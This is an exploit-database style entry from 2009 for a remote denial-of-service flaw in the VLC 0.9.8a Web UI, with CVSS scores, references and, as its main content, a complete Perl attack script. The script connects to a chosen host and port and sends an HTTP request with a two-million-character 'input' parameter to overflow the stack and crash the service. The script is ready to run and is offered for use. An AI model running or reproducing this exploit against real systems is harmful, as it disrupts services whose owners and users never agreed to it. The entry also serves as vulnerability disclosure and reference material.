VLC 0.9.8a Web UI (input) Remote Denial of Service Exploit

2009.03.26
Credit: Anon
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

#!/usr/bin/perl ######################################################## ## VLC 0.9.8a Web UI Remote Stack Overflow (DoS) by TheLeader ## GreetZ: forums.hacking.org.il ## TiP oF TEh DaY: Rock on! =] ######################################################## use IO::Socket; my $host = shift || 'localhost'; # Target host my $port = shift || 8080; # Target port. Default port = 8080 #Note: for some reason, A x 2070785 = terminate without crash; my $req = "GET /requests/status.xml?command=in_play&input=" . "A" x 2000000 . " HTTP/1.1\r\n"; $req .= "Host: $host:$port\r\n"; $req .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; he; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 (.NET CLR 3.5.30729)\r\n"; $req .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"; $req .= "Accept-Language: he,en-US;q=0.7,en;q=0.3\r\n"; $req .= "Accept-Encoding: gzip,deflate\r\n"; $req .= "Accept-Charset: windows-1255,utf-8;q=0.7,*;q=0.7\r\n"; $req .= "Keep-Alive: 300\r\n"; $req .= "Connection: keep-alive\r\n"; $req .= "Referer: http://$host:$port/\r\n\r\n"; print "\nConnecting to $host on port $port\n"; my $sock = new IO::Socket::INET( PeerAddr => $host, PeerPort => $port, Proto => 'tcp'); $sock or die "Cannot connect to server: $!"; print "Sending HTTP request..\n"; print $sock $req; print "Exploited. Target should be DoSed by now :)\n"; close $sock;

References:

http://xforce.iss.net/xforce/xfdb/49249
http://www.openwall.com/lists/oss-security/2009/03/17/4
http://www.milw0rm.com/exploits/8213
http://bugs.gentoo.org/show_bug.cgi?id=262708


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